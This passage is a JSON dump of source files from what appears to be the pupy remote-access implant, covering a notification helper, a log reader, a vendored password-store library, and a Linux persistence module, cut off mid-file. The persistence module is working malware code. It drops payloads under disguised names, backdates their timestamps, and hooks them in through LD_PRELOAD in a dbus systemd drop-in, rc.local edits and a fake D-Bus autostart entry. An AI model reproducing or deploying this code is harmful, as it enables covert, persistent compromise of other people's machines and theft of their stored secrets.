    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport dbus\n\ndef notification(text, title='', timeout=5, app='System', icon='', actions='', hint=''):\n    idnum = 0\n    title = title or ''\n\n    bus = dbus.SessionBus()\n    notif = bus.get_object(\n        'org.freedesktop.Notifications',\n        '/org/freedesktop/Notifications'\n    )\n    notify = dbus.Interface(notif, 'org.freedesktop.Notifications')\n    notify.Notify(\n        app, idnum, icon, title, text, actions, hint, timeout*1000\n    )\n"
  },
  {
    "path": "pupy/packages/linux/all/persistence.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport os\nimport subprocess\nimport random\nimport stat\nimport pwd\n\nfrom io import open\n\nif sys.version_info.major > 2:\n    xrange = range\n\n\nclass DropManager(object):\n    def __init__(self):\n        self._is_systemd = False\n        self._systemd_error = None\n        self._is_xdg = False\n        self._xdg_error = None\n        self._uid = os.geteuid()\n        self._user = self._uid != 0\n        try:\n            self._home = pwd.getpwuid(self._uid).pw_dir\n        except:\n            self._home = None\n\n        self._home = self._home or os.path.expanduser('~')\n\n        self._devnull = open(os.devnull, 'rb')\n        self._rc = []\n        self._rc_error = None\n\n        self._check_xdg()\n        self._check_rc()\n        self._check_systemd()\n\n    def _find_executable(self, name):\n        for path in [\n                '/bin',\n                '/sbin',\n                '/usr/bin',\n                '/usr/sbin',\n                '/usr/local/bin',\n                '/usr/local/sbin',\n                '/usr/libexec',\n                '/usr/lib',\n                '/usr'\n        ]:\n            for root, dirs, files in os.walk(path):\n                for file in files:\n                    if file == name:\n                        return os.path.join(root, file)\n\n\n    def _check_xdg(self):\n        try:\n            self._is_xdg = (\n                subprocess.check_call(\n                    ['xdg-open', '--version'],\n                    stdout=self._devnull,\n                    stderr=self._devnull) == 0)\n\n            self._is_xdg = True\n        except (subprocess.CalledProcessError, OSError) as e:\n            self._is_xdg = False\n            self._xdg_error = str(e)\n\n    def _check_systemd_reval(self, args):\n        penv = {\n            'stdout': self._devnull,\n            'stderr': self._devnull,\n        }\n\n        if not os.getenv('DBUS_SESSION_BUS_ADDRESS') and self._user:\n            penv.update({\n                'env': {\n                    'DBUS_SESSION_BUS_ADDRESS':\n                    'unix:path=/var/run/user/{}/dbus/user_bus_socket'.format(self._uid)\n                },\n            })\n\n        try:\n            cmd = ['systemctl']\n            if self._user:\n                cmd.append('--user')\n\n            cmd = cmd + args\n\n            return (subprocess.check_call(cmd, **penv) == 0)\n\n        except (subprocess.CalledProcessError, OSError):\n            return None\n\n    def _check_systemd(self):\n        if self._user:\n            systemd_socket = '/run/user/{}/systemd/private'.format(self._uid)\n        else:\n            systemd_socket = '/run/systemd/private'\n\n        try:\n            if not os.path.exists(systemd_socket) and stat.S_ISSOCK(os.stat(systemd_socket).st_mode):\n                self._systemd_error = 'No systemd socket found'\n                return\n        except OSError as e:\n            self._systemd_error = str(e)\n            return\n\n        self._is_systemd = self._check_systemd_reval([])\n        if not self._is_systemd:\n            self._systemd_error = 'Systemd is not available or not working properly'\n\n    def _check_systemd_unit(self, unit):\n        return self._check_systemd_reval(['is-enabled', unit])\n\n    def _check_writable(self, path):\n        try:\n            if os.path.isfile(path):\n                with open(path, 'wb'):\n                    return True\n        except:\n            pass\n\n        return False\n\n    def _check_rc(self):\n        self._rc = [\n            rc for rc in [\n                '/etc/rc.local',\n                '/etc/init.d/rc.local',\n                '/etc/rc',\n                '/etc/init.d/dbus'\n            ] if self._check_writable(rc)\n        ]\n        if len(self._rc) == 0:\n            self._rc_error = 'No writable known RC scripts found'\n\n    def get_methods(self):\n        return {\n            'xdg': self._is_xdg or self._xdg_error,\n            'systemd': self._is_systemd or self._systemd_error,\n            'rc': len(self._rc) > 0 or self._rc_error,\n            'user': self._user\n        }\n\n    def _find_systemd_system_path(self):\n        for d in ['/lib/systemd/system', '/usr/lib/systemd/system', '/etc/systemd/system']:\n            if os.path.exists(d):\n                return os.path.dirname(d)\n\n    def _get_systemd_unit_path(self, system=True):\n        if self._user:\n            path = os.path.join(self._home, '.config/systemd/user')\n        else:\n            path = os.path.join(self._find_systemd_system_path(), 'system' if system else 'user')\n\n        return path\n\n    def _add_systemd_add_to_unit(self, unit, key, value, section='Service', system=True, confname='distlocal.conf'):\n\n        confname = confname or ''.join([\n            chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))\n        ]) + '.conf'\n\n        unit = os.path.join(self._get_systemd_unit_path(system), unit+'.d', confname)\n\n        if not os.path.isdir(os.path.dirname(unit)):\n            os.makedirs(os.path.dirname(unit))\n\n        with open(unit, 'w') as funit:\n            funit.write(\n                '[{}]\\n'\n                '{}={}\\n'.format(section, key, value)\n            )\n\n        return unit\n\n    def _add_loadable_systemd_unit(self, unit, executable, description, service_type='forking'):\n        confdir = self._get_systemd_unit_path()\n        base_wants = os.path.join(confdir, 'default.target.wants')\n\n        base_wants_unit = os.path.join(base_wants, unit)\n\n        unit = os.path.join(confdir, unit)\n        if not os.path.exists(confdir):\n            os.makedirs(confdir)\n\n        if not os.path.exists(base_wants):\n            os.makedirs(base_wants)\n\n        with open(unit, 'w') as funit:\n            funit.write(\n                '[Unit]\\n'\n                'Description={}\\n\\n'\n                '[Service]\\n'\n                'Type={}\\n'\n                'ExecStart={}\\n'.format(\n                    description,\n                    service_type,\n                    executable\n                )\n            )\n\n        if os.path.exists(base_wants_unit):\n            os.unlink(base_wants_unit)\n\n        os.symlink(unit, base_wants_unit)\n\n\n    def _drop_file(self, payload, lib=False):\n        rand = ''.join([\n            chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))\n        ])\n\n        if lib:\n            user_targets = [\n                '%h/.local/lib/%r.so.1', '%h/.local/bin/%r',\n                '%h/.cache/mozilla/firefox/libflushplugin.so',\n                '%h/.mozilla/plugins/libflushplugin.so',\n            ]\n\n            system_targets = [\n                '/lib/lib%r.so.1',\n                '/usr/lib/lib%r.so.1',\n                '/var/lib/.updatedb.cache.tmp.%r'\n            ]\n        else:\n            user_targets = [\n                '%h/.dropbox-dist/dropboxc',\n                '%h/.local/bin/utmpc',\n            ]\n\n            system_targets = [\n                '/usr/bin/atd',\n                '/usr/bin/dcrond',\n            ]\n\n        targets = [\n            target.replace(\n                '%h', self._home\n            ).replace(\n                '%r', rand\n            ) for target in (user_targets if self._user else system_targets)\n        ]\n\n        shstat = os.stat('/bin/sh')\n\n        for target in targets:\n            dropdir = os.path.dirname(target)\n            if os.path.isdir(dropdir):\n                try:\n                    if os.path.isfile(target):\n                        os.unlink(target)\n\n                    with open(target, 'w+b') as droppie:\n                        droppie.write(payload)\n\n                    if not lib:\n                        os.chmod(target, 0o711)\n\n                    os.utime(target, (shstat.st_atime, shstat.st_ctime))\n                    return target\n\n                except:\n                    continue\n\n        for target in targets:\n            dropdir = os.path.dirname(target)\n            try:\n                os.makedirs(dropdir)\n                with open(target, 'wb') as droppie:\n                    droppie.write(payload)\n\n                os.utime(target, (shstat.st_atime, shstat.st_ctime))\n                return target\n\n            except Exception:\n                continue\n\n    def _is_path_in_file(self, filepath, path):\n        if os.path.isfile(filepath):\n            with open(filepath, 'r') as f:\n                for line in f:\n                    if path in line:\n                        return True\n\n        return False\n\n    def _add_to_rc(self, path):\n        for rc in self._rc:\n            if self._is_path_in_file(rc, path):\n                return\n\n            rcstat = os.stat(rc)\n\n            with open(rc, 'a') as rcfile:\n                rcfile.write(path + \"& 2>/dev/null 1>/dev/null\\n\")\n\n            os.utime(rc, (rcstat.st_atime, rcstat.st_ctime))\n            return rc\n\n    def _add_to_xdg(self, path, confname='dbus'):\n        confname = confname or ''.join([\n            chr(random.randint(ord('a'), ord('z'))) for _ in xrange(random.randint(5, 10))\n        ])\n\n        if self._user:\n            xdg = os.getenv('XDG_CONFIG_HOME') or os.path.join(\n                self._home, '.config/autostart', confname+'.desktop')\n        else:\n            xdg = os.getenv('XDG_CONFIG_DIRS') or os.path.join(\n                '/etc/xdg/autostart', confname+'.desktop')\n\n        xdgdir = os.path.dirname(xdg)\n\n        if os.path.exists(xdgdir):\n            try:\n                for file in os.listdir(xdgdir):\n                    try:\n                        xdgfilepath = os.path.join(xdgdir, file)\n                        with open(xdgfilepath) as xdgfile:\n                            if path in xdgfile.read():\n                                return xdgfilepath\n                    except:\n                        pass\n\n            except:\n                pass\n\n        else:\n            os.makedirs(xdgdir)\n\n        with open(xdg, 'w') as fxdg:\n            fxdg.write(\n                '[Desktop Entry]\\n'\n                'Name=DBus\\n'\n                'GenericName=D-Bus messaging system\\n'\n                'Exec=/bin/sh -c \"{}\" 1>/dev/null 2>/dev/null\\n'\n                'Terminal=false\\n'\n                'Type=Application\\n'\n                'Categories=System\\n'\n                'StartupNotify=false\\n'.format(path)\n            )\n\n        return xdg\n\n    def add_library(self, payload, name=None, system=None):\n        if not any([\n            self._is_systemd, self._is_xdg, self._rc\n        ]):\n            return None, None, 'Compatible method not found'\n\n        dbus_daemon = self._find_executable('dbus-daemon')\n        if not dbus_daemon:\n            return None, None, 'Can not drop file'\n\n        path = self._drop_file(payload, lib=True)\n        if self._is_systemd:\n            if not self._check_systemd_unit('dbus.service'):\n                self._add_loadable_systemd_unit(\n                    'dbus.service',\n                    '{} --session'.format(dbus_daemon),\n                    'D-Bus session daemon',\n                )\n\n            return path, self._add_systemd_add_to_unit(\n                'dbus.service',\n                'Environment',\n                'LD_PRELOAD={}'.format(path),\n                section='Service',\n                confname=name\n            ), 'Systemd'\n        elif self._is_xdg:\n            return path, self._add_to_xdg(\n                'LD_PRELOAD={} HOOK_EXIT=1 {} --session --fork'.format(path, dbus_daemon)\n            ), 'XDG'\n        elif self._rc:\n            return path, self._add_to_rc(\n                'LD_PRELOAD={} HOOK_EXIT=1 {} --session --fork'.format(path, dbus_daemon)\n            ), 'RC'\n\n    def add_binary(self, payload, name=None, system=None):\n        if not any([\n            self._is_systemd, self._is_xdg, self._rc\n        ]):\n            return None, None, 'Compatible method not found'\n\n        path = self._drop_file(payload)\n        if not path:\n            return None, None, 'Can not drop file'\n\n        if self._is_systemd:\n            return path, self._add_systemd_add_to_unit(\n                'dbus.service',\n                'ExecStartPre',\n                '-{}'.format(path),\n                section='Service',\n                confname=name\n            ), 'Systemd'\n\n        elif self._is_xdg:\n            return path, self._add_to_xdg(path), 'XDG'\n\n        elif self._rc:\n            return path, self._add_to_rc(path), 'RC'\n\ndef drop(data, is_library, name=None, system=None):\n    manager = DropManager()\n    if is_library:\n        return manager.add_library(data, name, system)\n    else:\n        return manager.add_binary(data, name, system)\n"
  },
  {
    "path": "pupy/packages/linux/all/readlogs.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n__all__ = [\n    'SDJournalIterator', 'SDJournalReader', 'SDJournalException',\n    'get_last_events', 'get_last_events_journald'\n]\n\nimport sys\nimport ctypes\nimport time\nimport datetime\nimport re\nimport pwd\nimport os\n\nfrom readlogs_generic import GenericLogReader\n\nif sys.version_info.major > 2:\n    long = int\n    basestring = str\n\nLIBJOURNAL = None\nMAX_RECORDS_ITER = 65535\n\nfor lib in ['libsystemd-journal.so', 'libsystemd.so']:\n    try:\n        LIBJOURNAL = ctypes.CDLL(lib)\n    except OSError:\n        pass\n\nif LIBJOURNAL:\n    _sd_journal_open = LIBJOURNAL.sd_journal_open\n    _sd_journal_open.restype = ctypes.c_int\n    _sd_journal_open.argtypes = [\n        ctypes.POINTER(ctypes.c_void_p), ctypes.c_int\n    ]\n\n    _sd_journal_close = LIBJOURNAL.sd_journal_close\n    _sd_journal_close.restype = ctypes.c_int\n    _sd_journal_close.argtypes = [\n        ctypes.c_void_p\n    ]\n\n    _sd_journal_next = LIBJOURNAL.sd_journal_next\n    _sd_journal_next.restype = ctypes.c_int\n    _sd_journal_next.argtypes = [\n        ctypes.c_void_p\n    ]\n\n    _sd_journal_previous = LIBJOURNAL.sd_journal_previous\n    _sd_journal_previous.restype = ctypes.c_int\n    _sd_journal_previous.argtypes = [\n        ctypes.c_void_p\n    ]\n\n    _sd_journal_next_skip = LIBJOURNAL.sd_journal_next_skip\n    _sd_journal_next_skip.restype = ctypes.c_int\n    _sd_journal_next_skip.argtypes = [\n        ctypes.c_void_p, ctypes.c_int\n    ]\n\n    _sd_journal_previous_skip = LIBJOURNAL.sd_journal_previous_skip\n    _sd_journal_previous_skip.restype = ctypes.c_int\n    _sd_journal_previous_skip.argtypes = [\n        ctypes.c_void_p, ctypes.c_int\n    ]\n\n    _sd_journal_enumerate_fields = LIBJOURNAL.sd_journal_enumerate_fields\n    _sd_journal_enumerate_fields.restype = ctypes.c_int\n    _sd_journal_enumerate_fields.argtypes = [\n        ctypes.c_void_p, ctypes.POINTER(ctypes.c_char_p)\n    ]\n\n    _sd_journal_restart_fields = LIBJOURNAL.sd_journal_restart_fields\n    _sd_journal_restart_fields.restype = None\n    _sd_journal_restart_fields.argtypes = [\n        ctypes.c_void_p\n    ]\n\n    _sd_journal_get_data = LIBJOURNAL.sd_journal_get_data\n    _sd_journal_get_data.restype = ctypes.c_int\n    _sd_journal_get_data.argtypes = [\n        ctypes.c_void_p,\n        ctypes.c_char_p,\n        ctypes.POINTER(ctypes.POINTER(ctypes.c_char)),\n        ctypes.POINTER(ctypes.c_size_t)\n    ]\n\n    _sd_journal_enumerate_data = LIBJOURNAL.sd_journal_enumerate_data\n    _sd_journal_enumerate_data.restype = ctypes.c_int\n    _sd_journal_enumerate_data.argtypes = [\n        ctypes.c_void_p,\n        ctypes.POINTER(ctypes.POINTER(ctypes.c_char)),\n        ctypes.POINTER(ctypes.c_size_t)\n    ]\n\n    _sd_journal_seek_head = LIBJOURNAL.sd_journal_seek_head\n    _sd_journal_seek_head.restype = ctypes.c_int\n    _sd_journal_seek_head.argtypes = [\n        ctypes.c_void_p\n    ]\n\n    _sd_journal_seek_tail = LIBJOURNAL.sd_journal_seek_tail\n    _sd_journal_seek_tail.restype = ctypes.c_int\n    _sd_journal_seek_tail.argtypes = [\n        ctypes.c_void_p\n    ]\n\n    _sd_journal_seek_realtime_usec = LIBJOURNAL.sd_journal_seek_realtime_usec\n    _sd_journal_seek_realtime_usec.restype = ctypes.c_int\n    _sd_journal_seek_realtime_usec.argtypes = [\n        ctypes.c_void_p,\n        ctypes.c_ulonglong\n    ]\n\n    _sd_journal_get_realtime_usec = LIBJOURNAL.sd_journal_get_realtime_usec\n    _sd_journal_get_realtime_usec.restype = ctypes.c_int\n    _sd_journal_get_realtime_usec.argtypes = [\n        ctypes.c_void_p, ctypes.POINTER(ctypes.c_ulonglong)\n    ]\n\n\ndef _payload_to_key_value(payload):\n    try:\n        eq = payload.index('=')\n    except ValueError:\n        raise ValueError('Invalid payload')\n\n    zb = '\\x00' in payload\n    fieldname = payload[:eq]\n\n    if zb:\n        try:\n            payload = payload.decode('utf-8')\n        except UnicodeDecodeError:\n            payload = payload.decode('latin-1')\n\n    else:\n        payload = payload[eq+1:]\n\n    return fieldname, payload\n\n\ndef _value_to_timestamp(value):\n    ts = 0\n\n    if isinstance(value, (int, long)):\n        if value < 0:\n            ts = int((time.time() - value) * 1000000)\n            ts = ctypes.c_ulonglong(ts)\n        else:\n            ts = ctypes.c_ulonglong(int(value) * 1000000)\n    else:\n        if isinstance(value, basestring):\n            dt = None\n            for formats in ('%d/%m/%Y', '%d/%m/%y %H:%M', '%d/%m/%y %H:%M:%S', '%H:%M', '%H:%M:%S'):\n                try:\n                    dt = datetime.datetime.strptime(value, formats)\n                    if dt.year == 1900:\n                        now = datetime.datetime.now()\n                        dt = datetime.datetime(\n                            now.year, now.month, now.day,\n                            dt.hour, dt.minute, dt.second\n                        )\n\n                except ValueError:\n                    pass\n\n            if not dt:\n                raise ValueError('Unknown date format')\n\n        elif isinstance(value, datetime.timedelta):\n            dt = datetime.datetime.now() + value\n        elif not isinstance(value, datetime.datetime):\n            raise ValueError(\n                'Invalid type for since: {}'.format(type(value))\n            )\n\n        ts = int(time.mktime(dt.timetuple())*1000000)\n\n    return ts\n\n\nclass SDJournalIterator(object):\n    __slots__ = (\n        '_journal', '_fields', '_until', '_count', '_reverse'\n    )\n\n    def __init__(self, journal, until=None, until_is_ts=False, fields=[], reverse=False):\n        self._journal = journal\n        self._fields = fields\n        self._until = None\n        self._count = None\n        self._reverse = reverse\n        if until:\n            if until_is_ts:\n                self._until = until\n            else:\n                self._count = until\n\n    def next(self):\n        if self._count is not None and self._count == 0:\n            raise StopIteration()\n        else:\n            iterate = None\n\n            if self._reverse:\n                iterate = _sd_journal_previous(self._journal)\n            else:\n                iterate = _sd_journal_next(self._journal)\n\n            if iterate == 0:\n                raise StopIteration()\n\n        records = {}\n\n        data = ctypes.POINTER(ctypes.c_char)()\n        data_size = ctypes.c_size_t()\n\n        if self._fields:\n            for field in self._fields:\n                if _sd_journal_get_data(self._journal, field, data, data_size) != 0:\n                    continue\n\n                field, payload = _payload_to_key_value(data[:data_size.value])\n                records[field] = payload\n        else:\n            while True:\n                r = _sd_journal_enumerate_data(self._journal, data, data_size)\n                if r < 0:\n                    raise OSError(r)\n                elif r == 0:\n                    break\n\n                field, payload = _payload_to_key_value(data[:data_size.value])\n                records[field] = payload\n\n        usecs = ctypes.c_ulonglong()\n        _sd_journal_get_realtime_usec(self._journal, usecs)\n\n        records['TIME'] = int(usecs.value / 1000000.0)\n\n        if self._until and usecs.value > self._until:\n            self._count = 0\n        elif self._count is not None:\n            self._count -= 1\n\n        return records\n\n\nclass SDJournalException(Exception):\n    pass\n\n\nclass SDJournalReader(object):\n    __slots__ = (\n        '_amount', '_last', '_fields', '_journal',\n        '_since', '_until'\n    )\n\n    def __init__(self, amount=None, last=None, fields=[], since=None, until=None):\n        if not LIBJOURNAL:\n            raise SDJournalException('Systemd-journald library not found')\n\n        self._last = last\n        self._fields = fields\n        self._since = since\n        self._until = until\n\n        self._journal = None\n\n    def __enter__(self):\n        journal = ctypes.c_void_p()\n        res = _sd_journal_open(journal, 0)\n        if res != 0:\n            raise OSError(res)\n\n        self._journal = journal\n        return self\n\n    def get_fields(self):\n        if not self._journal:\n            raise ValueError('SDJournalReader should be used in \"with\" statement')\n\n        field = ctypes.c_char_p()\n        fields = []\n        while _sd_journal_enumerate_fields(self._journal, field) > 0:\n            fields.append(field.value)\n\n        return fields\n\n    def __iter__(self):\n        if not self._journal:\n            raise ValueError('SDJournalReader should be used in \"with\" statement')\n\n        until = None\n        timestamp = False\n        reverse = False\n\n        if self._since:\n            ts = ctypes.c_ulonglong(_value_to_timestamp(self._since))\n            if _sd_journal_seek_realtime_usec(self._journal, ts) != 0:\n                raise ValueError('Invalid time offset')\n\n            if self._until:\n                until = _value_to_timestamp(self._until)\n                timestamp = True\n\n        elif self._last:\n            _sd_journal_seek_tail(self._journal)\n            _sd_journal_previous_skip(self._journal, self._last + 1)\n            until = self._last\n            reverse = True\n\n        else:\n            _sd_journal_seek_tail(self._journal)\n            reverse = True\n\n        return SDJournalIterator(self._journal, until, timestamp, self._fields, reverse)\n\n    def __exit__(self, *args):\n        if self._journal:\n            _sd_journal_close(self._journal)\n            self._journal = None\n\n\ndef get_last_events_journald(count=10, includes=[], excludes=[], filter_source=None):\n    field_mappings = {\n        'MESSAGE': 'msg',\n        '_HOSTNAME': 'computer',\n        '_UID': 'user',\n        'SYSLOG_IDENTIFIER': 'category',\n        '_TRANSPORT': 'source',\n        'PRIORITY': 'type',\n        'TIME': 'date',\n        '_EXE': 'exe',\n        '_CMDLINE': 'cmd',\n        '_SYSTEMD_UNIT': 'unit',\n        '_SYSTEMD_USER_UNIT': 'user-unit',\n    }\n\n    priorities = (\n        'EMERGENCY', 'CRITICAL', 'ALERT', 'ERROR',\n        'WARNING', 'NOTICE', 'INFO', 'DEBUG'\n    )\n\n    includes = [\n        re.compile(x, re.IGNORECASE | re.MULTILINE) for x in includes\n    ]\n\n    excludes = [\n        re.compile(x, re.IGNORECASE | re.MULTILINE) for x in excludes\n    ]\n\n    events = SDJournalReader(fields=tuple(field_mappings))\n    source_events = {}\n\n    amount = 0\n\n    with events:\n        for idx, event in enumerate(events):\n            if idx > max(MAX_RECORDS_ITER, count):\n                break\n\n            event = {\n                v:event.get(k, '') for k,v in field_mappings.items()\n            }\n\n            source = event.pop('source')\n\n            if filter_source is not None and source != filter_source:\n                continue\n\n            if event.get('user') != '':\n                try:\n                    event['user'] = pwd.getpwuid(int(event['user'])).pw_name\n                except KeyError:\n                    pass\n\n            event['type'] = priorities[int(event['type'])]\n\n            append = not includes and not excludes\n            excluded = False\n\n            for value in event.values():\n                if append:\n                    break\n\n                if isinstance(value, basestring):\n                    try:\n                        value = str(value)\n                    except TypeError:\n                        continue\n\n                for exclude in excludes:\n                    if exclude.search(value):\n                        append = False\n                        excluded = True\n                        break\n\n                if excluded:\n                    break\n\n                for include in includes:\n                    if include.search(value):\n                        append = True\n                        break\n\n            if not includes and not excluded:\n                append = True\n\n            if not append:\n                continue\n\n            if source not in source_events:\n                source_events[source] = []\n\n            source_events[source].append(event)\n\n            amount += 1\n\n            if amount == count:\n                break\n\n    return source_events\n\ndef get_last_events(count=10, includes=[], excludes=[], eventid=None, source=None):\n    try:\n        source_events = get_last_events_journald(count, includes, excludes, source)\n    except SDJournalException:\n        source_events = {}\n\n    for d in ['/var/log']:\n        if os.path.isdir(d):\n            events = GenericLogReader(d, source).get_last_events(count, includes, excludes)\n            source_events.update(events)\n\n    return source_events\n"
  },
  {
    "path": "pupy/packages/linux/all/secretstorage/__init__.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n# SecretStorage module for Python\n# Access passwords using the SecretService DBus API\n# Author: Dmitry Shachnev, 2013\n# License: BSD\n\n__all__ = [\n    'int_from_bytes', 'int_to_bytes',\n    'Collection', 'create_collection',\n    'get_all_collections', 'get_default_collection',\n    'get_any_collection', 'get_collection_by_alias',\n    'search_items', 'Item',\n\n    'DBUS_NOT_SUPPORTED', 'DBUS_EXEC_FAILED', 'DBUS_NO_REPLY',\n    'DBUS_ACCESS_DENIED', 'dbus_init',\n\n    'SecretStorageException', 'SecretServiceNotAvailableException',\n    'LockedException', 'ItemNotFoundException',\n\n    '__version_tuple__', '__version__'\n\n]\n\n\"\"\"This file provides quick access to all SecretStorage API. Please\nrefer to documentation of individual modules for API details.\n\nIt also provides some functions for compatibility with older\nSecretStorage releases. Those functions are not recommended for use\nin new software.\"\"\"\n\nimport dbus\nfrom secretstorage.util import int_from_bytes, int_to_bytes\nfrom secretstorage.collection import Collection, create_collection, \\\n get_all_collections, get_default_collection, get_any_collection, \\\n get_collection_by_alias, search_items\nfrom secretstorage.item import Item\nfrom secretstorage.defines import DBUS_NOT_SUPPORTED, DBUS_EXEC_FAILED, \\\n DBUS_NO_REPLY, DBUS_ACCESS_DENIED\nfrom secretstorage.exceptions import SecretStorageException, \\\n SecretServiceNotAvailableException, LockedException, \\\n ItemNotFoundException\n\n__version_tuple__ = (2, 3, 1)\n__version__ = '.'.join(map(str, __version_tuple__))\n\ndef dbus_init(main_loop=True, use_qt_loop=False):\n    \"\"\"Returns new SessionBus_. If `main_loop` is :const:`True` and no\n    D-Bus main loop is registered yet, registers a default main loop\n    (PyQt5 main loop if `use_qt_loop` is :const:`True`, otherwise GLib\n    main loop).\n\n    .. _SessionBus: https://www.freedesktop.org/wiki/IntroductionToDBus/#buses\n\n    .. note::\n       Qt uses GLib main loops on UNIX-like systems by default, so one\n       will rarely need to set `use_qt_loop` to :const:`True`.\n    \"\"\"\n    if main_loop and not dbus.get_default_main_loop():\n        if use_qt_loop:\n            from dbus.mainloop.pyqt5 import DBusQtMainLoop\n            DBusQtMainLoop(set_as_default=True)\n        else:\n            from dbus.mainloop.glib import DBusGMainLoop\n            DBusGMainLoop(set_as_default=True)\n    try:\n        return dbus.SessionBus()\n    except dbus.exceptions.DBusException as e:\n        if e.get_dbus_name() in (DBUS_NOT_SUPPORTED,\n        DBUS_EXEC_FAILED, DBUS_NO_REPLY, DBUS_ACCESS_DENIED):\n            raise SecretServiceNotAvailableException(\n                e.get_dbus_message())\n        raise\n"
  },
  {
    "path": "pupy/packages/linux/all/secretstorage/collection.py",
    "content": "# SecretStorage module for Python\n# Access passwords using the SecretService DBus API\n# Author: Dmitry Shachnev, 2013\n# License: BSD\n\n\"\"\"Collection is a place where secret items are stored. Normally, only\nthe default collection should be used, but this module allows to use any\nregistered collection. Use :func:`get_default_collection` to get the\ndefault collection (and create it, if necessary).\n\nCollections are usually automatically unlocked when user logs in, but\ncollections can also be locked and unlocked using\n:meth:`Collection.lock` and :meth:`Collection.unlock` methods (unlocking\nrequires showing the unlocking prompt to user and can be synchronous or\nasynchronous). Creating new items and editing existing ones is possible\nonly in unlocked collection.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport dbus\nfrom secretstorage.defines import SS_PREFIX, SS_PATH\nfrom secretstorage.exceptions import LockedException, ItemNotFoundException\nfrom secretstorage.item import Item\nfrom secretstorage.util import bus_get_object, InterfaceWrapper, \\\n exec_prompt_glib, format_secret, open_session, to_unicode, unlock_objects\n\nCOLLECTION_IFACE = SS_PREFIX + 'Collection'\nSERVICE_IFACE    = SS_PREFIX + 'Service'\nDEFAULT_COLLECTION = '/org/freedesktop/secrets/aliases/default'\nSESSION_COLLECTION = '/org/freedesktop/secrets/collection/session'\n\nclass Collection(object):\n    \"\"\"Represents a collection.\"\"\"\n\n    def __init__(self, bus, collection_path=DEFAULT_COLLECTION, session=None):\n        collection_obj = bus_get_object(bus, collection_path)\n        self.bus = bus\n        self.session = session\n        self.collection_path = collection_path\n        self.collection_iface = InterfaceWrapper(collection_obj,\n            COLLECTION_IFACE)\n        self.collection_props_iface = InterfaceWrapper(collection_obj,\n            dbus.PROPERTIES_IFACE)\n        self.collection_props_iface.Get(COLLECTION_IFACE, 'Label',\n            signature='ss')\n\n    def is_locked(self):\n        \"\"\"Returns :const:`True` if item is locked, otherwise\n        :const:`False`.\"\"\"\n        return bool(self.collection_props_iface.Get(\n            COLLECTION_IFACE, 'Locked', signature='ss'))\n\n    def ensure_not_locked(self):\n        \"\"\"If collection is locked, raises\n        :exc:`~secretstorage.exceptions.LockedException`.\"\"\"\n        if self.is_locked():\n            raise LockedException('Collection is locked!')\n\n    def unlock(self, callback=None):\n        \"\"\"Requests unlocking the collection. If `callback` is specified,\n        calls it when unlocking is complete (see\n        :func:`~secretstorage.util.exec_prompt` description for details).\n        Otherwise, uses loop from GLib API and returns a boolean\n        representing whether the operation was dismissed.\"\"\"\n        return unlock_objects(self.bus, [self.collection_path], callback)\n\n    def lock(self):\n        \"\"\"Locks the collection.\"\"\"\n        service_obj = bus_get_object(self.bus, SS_PATH)\n        service_iface = InterfaceWrapper(service_obj, SERVICE_IFACE)\n        service_iface.Lock([self.collection_path], signature='ao')\n\n    def delete(self):\n        \"\"\"Deletes the collection and all items inside it.\"\"\"\n        self.ensure_not_locked()\n        self.collection_iface.Delete(signature='')\n\n    def get_all_items(self):\n        \"\"\"Returns a generator of all items in the collection.\"\"\"\n        for item_path in self.collection_props_iface.Get(\n        COLLECTION_IFACE, 'Items', signature='ss'):\n            yield Item(self.bus, item_path, self.session)\n\n    def search_items(self, attributes):\n        \"\"\"Returns a generator of items with the given attributes.\n        `attributes` should be a dictionary.\"\"\"\n        result = self.collection_iface.SearchItems(attributes,\n            signature='a{ss}')\n        for item_path in result:\n            yield Item(self.bus, item_path, self.session)\n\n    def get_label(self):\n        \"\"\"Returns the collection label.\"\"\"\n        label = self.collection_props_iface.Get(COLLECTION_IFACE,\n            'Label', signature='ss')\n        return to_unicode(label)\n\n    def set_label(self, label):\n        \"\"\"Sets collection label to `label`.\"\"\"\n        self.ensure_not_locked()\n        self.collection_props_iface.Set(COLLECTION_IFACE, 'Label',\n            label, signature='ssv')\n\n    def create_item(self, label, attributes, secret, replace=False,\n    content_type='text/plain'):\n        \"\"\"Creates a new :class:`~secretstorage.item.Item` with given\n        `label` (unicode string), `attributes` (dictionary) and `secret`\n        (bytestring). If `replace` is :const:`True`, replaces the existing\n        item with the same attributes. If `content_type` is given, also\n        sets the content type of the secret (``text/plain`` by default).\n        Returns the created item.\"\"\"\n        self.ensure_not_locked()\n        if not self.session:\n            self.session = open_session(self.bus)\n        secret = format_secret(self.session, secret, content_type)\n        attributes = dbus.Dictionary(attributes, signature='ss')\n        properties = {\n            SS_PREFIX+'Item.Label': label,\n            SS_PREFIX+'Item.Attributes': attributes\n        }\n        new_item, prompt = self.collection_iface.CreateItem(properties,\n            secret, replace, signature='a{sv}(oayays)b')\n        return Item(self.bus, new_item, self.session)\n\ndef create_collection(bus, label, alias='', session=None):\n    \"\"\"Creates a new :class:`Collection` with the given `label` and `alias`\n    and returns it. This action requires prompting. If prompt is dismissed,\n    raises :exc:`~secretstorage.exceptions.ItemNotFoundException`. This is\n    synchronous function, uses loop from GLib API.\"\"\"\n    if not session:\n        session = open_session(bus)\n    properties = {SS_PREFIX+'Collection.Label': label}\n    service_obj = bus_get_object(bus, SS_PATH)\n    service_iface = dbus.Interface(service_obj, SERVICE_IFACE)\n    collection_path, prompt = service_iface.CreateCollection(properties,\n        alias, signature='a{sv}s')\n    if len(collection_path) > 1:\n        return Collection(bus, collection_path, session=session)\n    dismissed, unlocked = exec_prompt_glib(bus, prompt)\n    if dismissed:\n        raise ItemNotFoundException('Prompt dismissed.')\n    return Collection(bus, unlocked, session=session)\n\ndef 